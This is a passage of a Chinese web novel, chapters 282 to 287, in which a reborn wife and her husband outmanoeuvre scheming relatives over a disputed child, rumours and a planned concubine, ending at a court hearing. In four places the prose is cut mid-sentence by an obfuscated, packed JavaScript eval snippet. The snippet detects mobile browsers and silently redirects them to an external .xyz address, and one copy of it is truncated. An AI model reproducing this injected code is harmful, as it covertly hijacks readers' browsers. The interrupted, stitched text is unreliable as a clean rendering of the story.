后来她身处端侯府,在何夫人和李氏宗族的威压下辛苦求存,她想像夏家求助,可是夏庸以“妇人之事由主母解决”为由,连跟她见面的时候都不多,她只能求着楚氏。 哪怕楚氏给端侯府送几匣子果子过去,何夫人都能少折磨她几分,在那种情况,她纵使明白楚氏是个什么样的人,可她又能怎么办? 楚氏对她这个女儿的“关爱”可是她在端侯府活下去的浮木,她自然必须做出她对这份“母爱”深信不疑的样子。 夏明嫣适时地装出几分胆怯之意,有些瑟缩地道: “可是这不是事实,夫君他也知道,我这么说不就是诬陷他么?他不说容不下我,又怎么会听我的?他不是一个可以随意拿捏的人。” 楚氏笑了笑道:“你这孩子向来是个讲道理的,可是女人太讲道理了,也不是什么好事。就像你月儿妹妹,你父亲和府中上下为何疼她多些……适时地撒娇作痴,反而会让人觉得你是性情中人,是好事儿。” “你看看你这张脸,多美,你可以让你自己成为武器,一把能逼着华侯就范的武器。你想想看,在北疆蛮人面前都不曾低头的华侯,要是因为你而低了头,是不是一件很值得骄傲的事?” 楚氏没再说什么,她自以为已经拿捏住了夏明嫣,像夏明嫣这样还没有利用过自己的美貌谋得大计的年轻女子不会拒绝这样的诱惑。 夏明嫣习惯了讲理和谋算,等她发现她的美貌一样可以让她得到一切的时候她会拒绝吗? 楚氏笃定夏明嫣不会拒绝,因为这样得到的东西太容易、太轻易了,她以前过的太艰难了,现在一定舍不得…… 第282章得当一回便宜爹 夏明嫣抹着眼泪、垂头丧气地出了夏府,上了马车,她立刻把眼泪擦了个干净,在楚氏面前装样子还是要小心些,这人太邪门儿。 要不是有两世的经历,她还真不太能理解楚氏这样的人,其实严格来说楚氏不是传统意义上的高门贵女,她骨子里是个随心所欲、任性妄为的人,而她的心性就是情爱。 这种情爱不仅是对男人的,比如对那个陆远山,也有对女儿的,她自己做不到随心所欲,就想把这样的权力赐予夏明月。 高门贵女都讲究一个不能以色侍人,楚氏却不避讳这一点,她刚刚那么做,也不光是要求继女一个人这样,她对夏明月也是一样的,丝毫不让夏明月忽略她在容貌上的优势。 不过楚氏就这么明目张胆地来让她对华靖离这么做,是连一点顾忌都没有了,也太不把她当回事了,这就像是在呵斥一个花娘要为了某些目的去对她的金主做什么。 夏明嫣冷笑一下,楚氏对她一直都是这样的,只是她从前领略的没有这么透彻罢了。 那时候她没法子不得不依靠楚氏,少不得要做出希冀从她身上得到关爱的样子,可这种事要是纯粹就是装的,在楚氏这样的人眼里就太假了,因此她要是必须得装出她真的信了楚氏是真的把她当作女儿看待的,要是得让楚氏相信她一直是期待这份母爱的,少不得就得哄骗着自己,让自己以为是真的需要的。 日子久了,她自己都有些分不清楚哪些是真的、哪些是假的了,好在这辈子她分得特别清楚。 这还得多亏了华靖离,正因为有了他在她背后支持,让她明白了什么样的感觉才是安稳、平安,什么样的人才是真正爱她、重她的。 感受过了这样真心实意的情感之后,那些假的、装出来的,甚至还有那些装都懒得装的,都再也骗不了她了,确切的说应该是连给她造成错觉都办不到了。 楚氏刚刚那般说、那样要求她,她就想不到她可能不会照办,或是办不到吗?她当然想得到,所以她一定做了两手准备。 既然楚氏有两手准备,她作为被算计那个人,又怎能不做两手准备应对呢? 夏明嫣一回钩翊侯府,就一点儿都不耽误地去见华靖离,把刚才她如何煽风点火地都告诉了他。 华靖离听着都笑了,抬手轻点着她的眉心道:“你这个小狐狸,真是唯恐天下不乱,你这么一折腾,你那二妹妹原本还会想想明日如何应对的,现如今只剩下满腔怒火了。” “我猜现在就是楚夫人满身是嘴,也说不了她息事宁人了。明日上了公堂,她不把端侯府闹个底朝天才怪。” 上辈子华靖离虽然没和夏明月做过一天真夫妻,可是董氏天天蹦着高地跟夏明月斗,董氏的那些抱怨还有当中的经过,葱白和郭林没少跟他学过。 那时候葱白和郭林就跟捧乐似的,一个演夏明月,一个学董氏,每天都跟说话本子的似的,让他了解了不少夏明月的脾性。 其实夏明月这人是个难得的百折不挠的,只是她把她这份百折不挠用错了地方,就像这回无论是夏庸、楚氏还是夏明嫣明面上说的那些话,都是为了她好的。 她要是真按这些人说的做了,贤名有了,夫妻情分也被她提升了,将来想处置这孩子,只要等李玦撂开手了就好。何夫人年纪大了,还能管几年,之后还不是由着她处置? 可正因为这些人说得太多了,夏明月心里的气没被劝开,反而更大了,她会想这些人为什么都在欺负她。 越是这样,她越会表面装作应承下来了,骗过这些人,等上了公堂,在给这些人一个“惊喜”。 夏明嫣也乐了:“楚夫人还以为她能劝住我,让我来安抚你和华家,以为我不知道她背地里会做什么。凭什么她做初一,我不能做十五呢?” “我就活该给夏明月兜底了?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631330|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不傻,你猜一会儿她把夏明月送回去了之后,她会做什么?我都替她想好了,就是不知道她会不会这么做了。” 华靖离只略微一想就明白了:“楚夫人定是依然不想舍弃夏明月的,女儿都养了这么多年了,即便不是亲生的,也当作亲生的了,她现在要是一下子不帮着夏明月了,这个女儿可就真是白养了。” “她们想说孩子就算不是靖和的,也一定是别人的,反正要把李玦摘出去,不能让夏明月受这外室子的苦。事情闹得这么大,靖和这样的已经压不住了,她们一定会找一个更大的人物来压这件事。” “哪怕没有实证,造出谣言来也好,就像当初她们想往你的身世上泼脏水一样……今时今日,有谁能比为夫我更合适呢?” 孩子究竟是谁的,在公堂上能不能证明是一回事,即便证明了,她们母女也可以放出风声去说,这件事另有内情,都是被人暗中使坏,将真相压了下去。 也就是说即便凭着那指甲盖的特征,真就证明了李玦是那孩子的亲生父亲,她们也可以对外暗示李玦是受了更大的势力的压迫,才不得不认下这孩子的,毕竟谁也不能总是当街脱了李玦和这孩子的鞋袜看看究竟是不是那么回事。 就算真有人这样做了,也会有人说那孩子的指甲是被认为毁坏的,并不是天生的,一切都是为了给这背后之人遮丑。 那么这个人会是谁呢?既然楚氏已经想到麻痹夏明嫣上了,那么这个人只能是华靖离。 夏明嫣却笑得更欢了:“那就要让夫君受一点委屈了,在众人的嘴里给这孩子当几日的爹,做一做这逼迫李世子认下儿子的恶人。” “不过,这风头应该很快就会过去吧?因为用不了多久,就会有人传李世子的婚约了,这事儿可是实打实有证据和证人的。而且我夫君可是受了大委屈的,不仅被谣言冤枉,还要替自己的义弟收拾一回烂摊子。” 第283章他就该喝一盏醋 谣言这种东西对只有名声能够倚仗的人来说无疑是致命的,名声毁了,简直就活不下去了。 可对于华靖离这种多少次历经生死、险些马革裹尸的人来说,只要不在他的战功和华家军身上泼脏水,其实他并没有太放在心上。 活都要活不下去了,还管这些琐事上的名声做什么? 同样的一件事,李玦跟吕大姑娘厮混有了孩子,那是私德不检。要是换做华靖离,那是难得从北疆回来休沐时犯下的一个小错误,他本就是一个粗人,犯下这样的错没什么奇怪的。 尽管华靖离一向洁身自好,屋里连个服侍的女子都没有,可这不妨碍别人把他想像成这样的。况且在北疆多年,营里除了烧火做饭的仆妇,是轻易见不得年轻女子的,他好不容易回来一趟,没憋住,简直太正常了。 华家还有为领军的男子早留子嗣的传统和家规,这要真是他的孩子,解决起来很难吗?他会难堪吗? 有什么好难堪的,横竖他已经伤愈了,大不了带着夏明嫣回北疆转转,等他们回来,什么风声都小了。 相应的,同样一件事,放在夏明嫣身上,反而能成为她彰显自己贤德大度的工具,还能借此让她跟董氏之间的婆媳关系更加紧密,说不定认了一个孩子,中馈就立刻到手了呢。 而夏明月却不会,她这人的想法跟一般不一样。 一般出身高门的女子碰上这样的事,会先想着在大面上顾全大局,先把府衙那儿的事儿了了,再把世人的嘴堵上,然后有什么事儿都等关起门来再说。 这样的话就能把对家族和自己夫君不好的影响降到最低,别管之后怎么闹呢,她们自己的身份、地位也不会受到太大的影响,说不定反而能让自己得到一些实际上的好处。 可夏明月不一样,她想的是这件事、这个人若是不能对她有利、对她好,那么她要大局又有什么用,这样的大局又跟她有什么关系呢? 就好比现在,要是她拿捏不住李玦和何夫人了,那么端侯府和这两个人好了,对她又有什么好处呢? 因此她并不会真的被楚氏和夏庸说服,她只会装作被说服了,之后等到上了公堂再闹。 就算最后还是不得不认下这个孩子,但她不介意让李玦和何夫人知道她不是好欺负的。 另外她也想借机给华靖离泼脏水,最好就是让夏明嫣也误会了华靖离去,让她觉得有可能这孩子真是华靖离的,不然华家为何还要那般为那么一个小庶子出头,这本来就是在为华靖离遮掩。 华靖离看着夏明嫣那副等着看戏的样子,也被她逗乐了,不过因为这件事顺带想到了另一件事,又让心里难免有些酸涩: “想必今晚就会谣言四起了,明日一定热闹非常,想必明早在去府衙的路上,就会有人把闲话传到夫人耳中了,夫人可会吃醋?” “我想是不会的,夫人一向大度,这不是还要给我纳妾么?是那位邓姑娘,就是李玦前世原配妻子,这该死的缘分,竟然是夫人为我一手造就的。我都不知道该夸夫**度,还是感叹夫人小性了。” 小性?夏明嫣一时没明白过来,想了想才想通了,他这是担心她嫉妒邓澜上辈子是李玦的正妻,这辈子才让邓澜进府做妾,她好出这口气,折磨邓澜吧。 “可惜这儿不是后厨,要不我非得倒一碗醋给你喝。” 夏明嫣反过来斟了盏茶给她,非要看着他喝完才肯开口,也顺便将一些事儿跟他说开了, “我跟邓澜是金兰姐妹的关系,她上辈子身子不好,大概除了刚成亲的时候圆房那回,就没服侍过咱们的李世子,我嫉妒她什么?再说了,那时候我们两个都是那府里被逼得就快活不下去的女人,想着的都是怎样才能不跟着端侯府那艘破船一起沉海,谁还有空争风吃醋。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到时候这侯府的一切都归了华靖和以及他将来的妻子、孩子,虽说华靖和是个好的,可人都是会变的,就算他自己不会变,始终尊重华靖离和她这个长嫂,可谁能保证他的妻子和孩子不会有别的心思? 真到了那时候,夏明嫣可就要看着别人的脸色过日子了,与其那样倒不如多纳几个妾室,要是能生下孩子,哪怕只有一个,也能让她多分些家业,将来守着诰命的名分,还能过得好些。 第284章我的人,你别动 这就是董氏,可是何夫人不是这样的,她为李玦娶妻纳妾都是奔着有用去的,即便像夏明嫣因为夏家的轻慢而被她嫌弃的,她也是要让她发挥了作用,才肯开恩让她活下去的。 别说她只是一个妾室了,就是身上背负着那些宝物下落的邓澜,若是不能将端侯府上下打理妥帖、平衡妻妾的关系,不能扩大端侯府明面上那少得可怜的产业,她也是没用的。没用,就会被替代。 那时候何夫人最长挂在嘴边的话就是邓澜身子不好,管着府里的家业未免吃力,想要给李玦抬一个平妻回来。还说,就算端侯府这般光景,也架不住心仪李玦的女子众多,细心寻访,总能找一个能帮得上府里的。 甚至在邓澜病弱却并未病入膏肓的时候,就打起了续弦高门再醮妇人的主意,前去相看,巴不得立时逼**邓澜,立刻就给李玦再定一门亲。 很多事情有对比才能感觉到当中的好,正因为如此,夏明嫣这辈子能有董氏这样嘴碎心好的婆母,她已经很满足了。 想到她们上辈子所受的苦,夏明嫣毫不犹豫地瞪了自讨没趣试探她的华靖离,正色道: “邓阿姐是我的人,我都与她说了,除非她自己愿意,否则这钩翊侯府妾室的身份不过是帮她从家里脱身的一个借口,侯爷不可强迫于她。若干年后,等事情过去了,或假死、或出妾,你是要放她走的。” “这些年,我正好也为她调理调理身子,将来她有了别的去处了,也好安置自己。还有于杏儿,也不可以,我可不想让我们之间的关系太复杂了,她以后可是对付楚夫人和楚家的利器!” “你不能把这利器给毁了,变成你后院儿的妾室了。总之,你要是真看上了谁了,就自己纳去,不许打这两个人的主意,不然别怪我翻脸!” 夏明嫣眼下还可能有孕,她也不好耽误了华靖离和华家的子嗣,因此一早就说过纳妾这些事儿,随他们自己安排。 可是那时说起这些话来,她心里毫无感觉,甚至因为不想把传承子嗣的重担压在自己肩头,她甚至还有些盼着华靖离能纳几个他可心的。 而且他这个人既有担当又有眼光,他选的人定然是不错的,要是能选几个也能与她合得来还能帮上她的,就更好了。 可是现在旧话重提,她忽然发现自己不像当初那样拿得起放得下了,心底里竟然还隐约起了一些酸涩之感。 她会控制不住地去想,华靖离要是纳妾,那些女子模样会比她美么?她们跟华靖离在一起会是什么样的情景?要是华靖离回了北疆,会带她去还是带别人?还会不会想起她? 这难道就是醋意?夏明嫣想到自己竟然也会吃醋,脸上的表情都扭曲了,一下子没控制住,还居然露了相了,她一转头,竟然发现华靖离正凑近了瞪着眼睛看着她。 华靖离见她看过来,先是伸手抚上她的脸颊,将她的嘴角提起来,将她摆出个笑模样,然后自己又带着笑打趣儿道: “不想就是不想,勉强做什么?我这辈子有你一个就够了,我的夫人本事了得,哪里就需要那么多妾室陪着母亲跟别人打擂台了?平白养那么多人,我还觉得浪费米粮呢。” “有那么些余钱,我还不如给华家军的弟兄们添些衣食,多帮他们中的几个人娶上媳妇呢。至于子嗣,你我都得以重活一世,都是有大运道在身的人,我就不信了,我会熬不到你生下孩儿的那一天。” 夏明嫣一直在调理身子,早年被那四个女师用巧劲儿责打出来的暗伤不是那么容易好的,近来汤药、针灸甚至蛊术,她都有尝试。 要是以往华靖离还住在静心居的时候或许还瞒得住,现在两个人虽未圆房,却都住在止戈院儿里,用药用针,又哪里能瞒得住了? 纵使夏明嫣没有明说,华靖离也猜到了几分,定是她身上有什么不妥,至少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637345|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时无法承孕,这才不遗余力地推着他去纳妾,好不留下遗憾的。 他也明白夏明嫣是怎么想的,夏明嫣是女子里难得有侠气的那种女子,她仰慕英雄,敬佩为大恒立下汗马功劳的人,自是不忍心让他这一世再次无后而终。因此即便她心里会不好受,甚至会心痛,她也要推着他走出这一步。 她这时候完全可以自私一点,开口问问他,他是怎么想的,甚至用治好了他的伤的恩情逼迫他承诺不纳妾,可是她没有,因为她不想勉强他。 她甚至都不愿意骗骗自己,跟自己说,说不定他本来也不想纳妾,本来就不在乎有没有子嗣呢……她没有这样做,因为她有分寸感,她不想对他有一点暗示和逼迫。 夏明嫣听着他说这些话,心里仿佛有一只小鹿在跳动,小蹄子嗒嗒地跑着,跑得她愈发的心烦意乱。 上一世华靖离跟夏明月不曾有夫妻之实,更是没有碰过那些妾室。可是她不一样,她是跟李玦做过真夫妻的,因此在夫妻之道上,她自认比他要懂一些。 虽说他说的有一定的道理,既然老天爷给了他们重活一世的机会,他们又早早认清了现实,得以在最大的危机到来前早做准备,按理说他们不会再重蹈上一世的命运,他一定能熬得到五年之后。 更何况上一世,华靖离是在十二年后才被李玦害死在南疆的,熬到五年后根本不成问题。 可是万一呢?也许在别的事儿上变好了,或是眼前的确是比从前好了,可这种变化只是短暂的呢?事情不到那一步,谁都不能肯定的说他们的命运就一定不一样了。 如果这一世,他依旧无子而终,他就真的不遗憾吗? 就像楚氏和夏明月她们说的那样,他就甘心把这一切都给了华靖和他们?他就愿意相信华靖和他们能够善待他的父母? 夏明嫣不想他留下遗憾,可吭哧了半天就只憋出一句话。 第285章他的确有遗憾 夏明嫣喃喃地道:“这种事,你不懂,你又没我有经验。万一,万一五年后还是不可以,你不是白等了?万一这中间再出什么意外,你遗憾终身了该怎么办?” “这种事可没有后悔药可吃,这也不是你一个人的事。公公倒也罢了,毕竟二弟也是他的亲生儿子,可是婆母怎么办?她就不会想要自己的亲孙子么?我可不想变成你们华家的罪人,万一有个闪失,都怪到我头上。” 关键是,就算到时候所有都怪她,又有什么用呢?根本什么都挽回不了。 华靖离将她此刻用指甲左右互掐的手握住,之后将那青葱玉指一根一根地掰开,放在掌心里抚平了: “想什么呢,这怎么会是你的错?华家男儿自上了沙场那一日起便做好了战死的准备,无子而终地多了去了,要不然也不会有留下最小的儿子守业的家规。” “你要这样想,要是没有你治好了我,我或许之前**的时候就已经**呢?你说我是听闻换亲,没弄清楚嫁过来的究竟是不是你,才急着赶回来的。可就算没有换亲,要成亲了,难道我就不用回来了?” “说到底,这些都不怪你。就是母亲对你多有催促,也是因为她觉得或许这样做更好,不失为一条路,却不是非要你这样做的。就像那廖家,与我们华家也是世交了,他家的公子有十几个妾室,也没见生出个一儿半女来。” “万一我也是那样,又该如何?你就能笃定我纳了妾了,就一定有孩儿,就算有了,我要是真抗不过命去,又一次英年早逝了,你就能保证这孩子长大了就一定是个好的?万一是个混世魔王呢?你又当怎么说。” 不说这孩子在没有父亲教导的情况下长大了有多坏,就说他平庸了些,是不是也会成为那些想要打压、抢夺华家的敌人的眼中钉、肉中刺? 那样的孩子真的扛得住那一切吗?万一再养出一个华靖和来,纵使他的心是好的,是孝顺的,可这样一个纯善的人,连生母的挑唆都不能左右,还能护得住她和董氏么? 纳妾生子这条路不是不行,可要说有了孩子了,前头就是一马平川了,一样是把事情想得太简单了。 有了孩子,这孩子得平平安安地长大,长大后不仅要品行端正,还要有作为,要能够扛起家族重担,上得了沙场,平衡得了朝野大势,能应对像李玦那样的人强取豪夺…… 这么多的东西加在一块儿,当中有太多的偶然,但凡有一个环节出了错了,就是白白辛苦一场,还亏了他们的情分。 既然怎么走这条路都是不确定的,倒不如随缘就份,走好当下的每一步,然后走一步看一步。 夏明嫣沉思着,半晌才苦着脸说道:“哪有人这样为自己找借口的,我就说万一,万一你没留下个一儿半女的,一生辛苦都便宜了别人,你就一点都不遗憾?” 华靖离也不怕她恼,拍了她一下,脸上露出些痞气来:“这世上遗憾的事儿可多了,上辈子没娶到你,我就很遗憾。你是不知道,那时候我知道嫁过来的会是夏明月,我就急着赶回来看着婚事能不能换过来。” “谁知道会遇上那帮刺客,等我醒来的时候,你都嫁到端侯府去了,还是给李玦做妾,我当时心里那个疼啊。可是我又想,不管李玦在外面是个什么样的人,他对妻妾总是好的,他的模样又生地比我招女子喜欢,没准儿你就喜欢那样子的谦谦郎君呢?” “当时把我嫉妒的啊,一想到你跟他在一起,我夜里都睡不着觉。要说遗憾,这也是遗憾。明嫣,我恨上辈子没能娶到你,我遗憾我们只有这一世,而没能两世都是夫妻,这就是我最大的遗憾。” “都说我少年时便立下军功,战功彪炳,可谁又会去想,即便是铁汉,也是要有柔情的。没有了你以柔克刚,我又能强硬到什么时候去?你该这样想,我要有子嗣,定是与你生下的孩子,绝对跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641844|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人没有关系,这才是没有遗憾了。” “母亲那儿,你只管放心,之前她会说那些话,是瞧着我伤得太重,担心我即便好了,也只是暂时的,撑不了几年,她才想着趁着我还活着,赶紧给我找几个女人,看有哪个运气好能生个孩子……” 说到这里,华靖离脸色都不对了,董氏身为县丞之女,从小生活的地方条件就不大好,她父亲虽是县丞,可到了农忙的时候,是带着一家老小一起下田耕种的。 后来董氏嫁给了华叶峰,华家那时还是华叶峰的几位兄长支撑门户,他是负责垦荒屯田的,娶了董氏之后,夫妻俩还是带着人下田种地。 久而久之,他们跟农人的关系就特别近,想事情的方式也跟农人比较像。 董氏这做法,就好像发现家里的哪头拿来配种的牲口快不得用了,趁着还能用,赶紧给它用上,让它多下几个崽子似的。 这也大概跟她听闻城西的张家公子的那些事儿有关系,那张家公子是家中独子,之前生过一场大病,眼见着好了也不大康健,于是那家的主母担心自己的儿子没能留下子嗣最终只能过继族中子侄,就给儿子连着通房一气儿弄来了十几个女子,还用了药了,结果这些女子中还当真有一个生了个儿子出来。 董氏听说过这样的事,她向来是个主意少的人,想着那张家是元京豪族,竟然都要用这样的方式继后香灯,他们只是华家抬上来的旁支,刚刚来到元京过上一代,如何不能用这种方式? 把张家的事大概说了说,华靖离哭笑不得地道,“……母亲只知其一不知其二,那孩子是生下来了,可张家公子之后活了不到半年就亡故了。” “就连那孩子也不是个长寿的,不知道是不是孕育他时张家公子身子就不行了的缘故,竟然没有活过三岁就夭折了。你说,这何苦来的,要是不这么折腾,说不定张家公子好好养身子,还能多活几年呢。” 第286章可以先不行妾礼 华靖离笑了笑,一向不苟言笑地他难得多了几分戏谑:“我这身子可才刚好,夫人若是想让我的手术长些,可千万要让我保养身子啊。” “什么女色,都不急夫人一分,又何苦找那些差强人意的来凑数?我这辈子有夫人就好,多来几个,怕是要把这福气冲淡了。子嗣随缘,有夫人守着我,我不信天不怜我,我们定会有自己的孩儿。” 他声音一沉,目光也跟着沉了下去,“要是没有,那便是命,也是我遇上什么渡不过去的坎儿了,那样的话,我没有法子守着你和孩子长大,那便罢了。” 他的声音又高扬了起来,话锋一转,又恢复了戏谑的意味,“没了牵绊,夫人年华正好,正可以改嫁一位俊俏郎君,与他一起好好过日子,将为夫忘了就好。” “说什么呢?不吉利的话,少说……不,是不要说!”夏明嫣本能地横了他一眼。 “好好好……不说了,那……那位邓姑娘能不能另外安置?为了她以后的名声着想,或许可以给她安排一个别的位子。”华靖离趁势道。 夏明嫣一下子就把他的提议否决了:“邓氏一族虽然败落了,可从出身上来说邓澜还是大家闺秀。除了婚嫁,还能用什么法子把她弄到身边来?” “要说做个女管事,那是万万不能的。要说一起做生意,这虽能让她跟咱们的关系密切起来,可是再怎么说也越不过何夫人这个姨母去。何夫人那边若是让她如何,她依旧难以反抗。” “还有,也是更重要的一点,若是以纳妾的名义让她进府,这便是同她家做了亲了,她父亲将来才好把这个秘密交到咱们手里。” “你若只是把她接来照顾,哪怕是认她做个义妹呢,即便邓澜自己能信任这样的关系,她父亲却不会放心,咱们要想得到那个秘密,恐怕就会不好看。” 这世间有许多能够生死相托的情义,就好比义结金兰就是,可是在世人眼中到底是成为姻亲来得更可靠。 因为结亲,意味这对男女之间会有子嗣,有了流着共同血脉的儿孙,才意味着这种联合是稳固的。 虽说邓澜过来也是纳妾,可宫里、王府纳妃和公侯之家纳贵妾又不同,这样的联合依旧有效。 不管邓澜是怎么想的,邓父是信这套的,不然上辈子也不会明知道自己的女儿身子弱,而何夫人又不是一个好相与的婆母,还坚持以联姻的方式让邓澜做了李玦的正妻。 她这正妻当的根本就是挂名的,所谓当家主母不过是往好听了说的,实际上,邓澜管着一大家子的杂事,还得在何夫人、李玦和那些个亲戚之间受夹板气,硬生生地把她的命都磨没了。 女子要脱离原本家族的掌控,其实婚嫁是为数不多的几个法子里最快、最稳妥的,所以夏明嫣才会想着用这样的方法把邓澜要过来。 只要邓澜成了华家的人,以后何夫人便不好再拿捏他们父女,而邓父也才会放心地把那个秘密交托到华靖离手上。 而之后等事情过去了,华靖离只需要一纸放妾文书,就可以放邓澜自由,此时民风开放,邓澜将来想嫁人,或是想立女户,他们也都可以帮她如愿。 要是邓澜担心离开了华家没有了依托,他们也可以送一座别院给她,让她继续盯着钩翊侯贵妾的名分过自己的日子,保证没有人敢欺了她去。 华靖离心里尽管还是不愿意,可不得不承认夏明嫣的安排很有道理: “那就随你安排,不过要住到你后头那排屋子里去,别在我这边,将来她要是出去了,对她的名节也有好处。还有,要是有可能,再转圜一下……” 看他那不清不愿的样子,夏明嫣心里又好气又好笑,气过笑过之后最后剩下一股暖意,她倒是也没坚持: “到底要先定下来,才能让她父亲放心,断了何夫人的念想。至于什么时候行妾礼,那就……以后看情况再说吧。” “夫人如此决断,甚好,甚好。”华靖离笑了,这回是真笑到了心里去了。 他就说么,夏明嫣心里一定会有他的,他们才是天造地设的一对儿,他们的日子一定会越来越好的…… 第二日一早,便到了要去元京府的时候,因为事情涉及到女眷和认子归宗之事,夏明嫣身为宗妇也一样要去。 正巧一大早乔依心那边就送来了消息,说是抓到了刺客,并且已经审了出来。 那人真就是听闻吕冠瑛跟夏明嫣见了面,担心她们会联手找出线索,然后来袭击吕冠瑛灭口的,不出意料,那可不就是何夫人的人么? 说起来还是乔家的人得用,何夫人只顾着让人盯住吕家和华家了,她完全没有想到夏明嫣居然能为了华靖和的事儿,求助乔家。 乔家的这些人都是跟着乔父从外任上过来的,乔家跟夏明嫣前后脚地回到元京,他们的人在元京都是生面孔,最是不容易被察觉的。 要是端侯府现在还有没有死士,当然是有的,只是何夫人想着对付一个商贾孤女着实没有必要用到死士,才用了这么一个亲族里做镖师的。 等到了上了公堂,元京府尹张礼岁高做堂上,见了华家新呈上的人证、物证,华靖和与吕大姑娘之死没有关系的事很快便说清楚了。 张礼岁哪里不知道这当中的关键,那日把华靖和带回来之后只问了几个问题之后,他心里便清楚华靖和是无辜的。 华靖和是个性子懦弱的人,换句话说这人就是个没主意的,更别说能够操控人心、逼人致死了,他哪里来的这样的本事。 只是既然有人告了,对方的证据看起来又很周详,这件事便少不得要走走程序再辩驳一番的……如今这样就很好。 张礼岁看着华靖离苦笑道:“如此说来,吕大姑娘自尽前的确与华家二公子华靖和见过一面,却只是谈论铺子中的绸缎和针线之事,并未谈及其他,二人甚至并未认出彼此。” 第287章让他们迁就谣言? 张礼岁继续道:“此前因吕家绸缎铺中的伙计母亲病重归乡探望,暂时没了音讯不得作证,如今人证寻回便可证明。而华靖和所租赁的院子也并非吕大姑娘当晚前去的那一座,她所去的院子主人另有其人。” “而仵作重新验明尸身之后也可以证明,吕大姑娘虽有悬梁自尽的行为,其死因却并非如此。她是中毒身亡,而所中之毒亦并非蛇毒,而是一种罕见的草木之毒,来自南疆之外的新兰国。” “此毒亦并非通过吕大姑娘身上被蛇虫咬伤的伤口进入体内,而是通过一根牛毛针刺入心肺,这是暗器,为武艺高强者所为,与华靖和无关。” 他顿了顿,看向众人,“谁是刺死吕大姑娘的真凶,此事还待查办。眼下还有一事函待解决,就是吕家之子,此子暂无踪迹,可这归属倒是可以先定一定的。” “华侯,其实一开始本官便猜到人命一事与令弟无关,只是既然有人来告,此事便必然要盘查个清楚。所以这几日以来,我们元京府对令弟一直礼遇有加,不曾苛待分毫,不信你可以问他!” 华靖和在一旁唯唯诺诺地点了头,这几日虽不至于苛待,也并没有真就住到那阴暗潮湿的大牢里去,对方是收拾了一件捕快们平日里歇息的班房给他住的。 可饶是如此也是住在府衙牢房后头的,他不担心华靖离不来救他,可他担心这件事是那种说不清楚的,他总不好让兄长以势压人,在落下个谋私的罪名连累了兄长和家族。 说实话,华靖和都做好了一死以证清白的打算了,要是这样能证明他和华家的清白,就要了他一个人的命好了! 谁曾想到,这件事就这样解释清楚了,可是华靖和到底是生在侯门、长在侯府的贵公子,他又不是傻子,当然能想到对方忙乎了一通不会只为了把他害进来受几天苦这么简单。 听堂上的张礼岁还说了这些话,显然是有些事要华靖离和华家去办的。 华靖离看了他这个弟弟一眼,笑了笑道:“舍弟从前不曾经历风雨,有如此一番磨练对他来说未尝不是好事。只是不知张大人说这番话是何用意?要是有需要华家办的,又能办的,大人只管说。” 张礼岁微微颔首,目光里露出了坐在他跟华靖离这个位子上的男人彼此能够懂得的智慧: “刚才本官已经让那些人证都下去了,这里就只有本官和你们华家的人,有些话本官便直说了。这件事解释起来其实不难,难就难在如何善后。” “华侯伤愈之后这些日子听说多有在城中行走,应该知道,此时在城中已经谣言四起。如何平息这些谣言,才是眼下该做的。” 华靖离笑了一下,没有直接回答,而是看向夏明嫣。 谣言这种东西既然没有实证,商谈起来也就有了诸多不确定的地方,要是由他开口,反而太过确切了,倒不如让夏明嫣开口。 妇人家,说话可以作数,也可以不作数,能给他们更多转圜的余地,她说话也可以比他更加肆无忌惮,还不必担心被人那种话柄,在华家头上做文章。 夏明嫣跟华靖离相视一笑,毫不介意让张礼岁知道他们之间是有默契的,只是跟他玩儿了个心眼儿: “张大人,我们夫妇倒是无所谓了,可别把舍弟吓着了。这孩子这几日不容易,好不容易清白了,却要被谣言困扰。要知道谣言可是能要人命的,他既然是清白的,又何苦这样吓他。” “既然是谣言,那便是没有实证的。身为元京府尹不是应该公布事实,勘清谣言才对么?怎么听张大人的语气,倒像是想让我们侯爷和舍弟迁就谣言了不成?” 张礼岁不是一个因为权势就会歪曲真相的人,可是他到底不是一个只会用硬碰硬的方式解决问题的人,他能坐在这元京府尹的位子上这么久,跟他的圆滑、事故有很大关系。 其实夏明嫣心里清楚,为了平安,为了让事情过去,很多时候很多事儿究竟是不是谣言并不重要,只要能达到目的,认下也是无妨的。 就像上辈子关于她身世的那些谣言,说沈小娘才是她的生母,说她是以庶充嫡的假嫡女,当时夏庸为何不解释? 因为夏庸心里清楚,他要是直接说这件事假的,那就证明了是楚氏和夏明月在诬陷他原配所出的嫡长女,那么楚氏跟夏明月成什么人了? 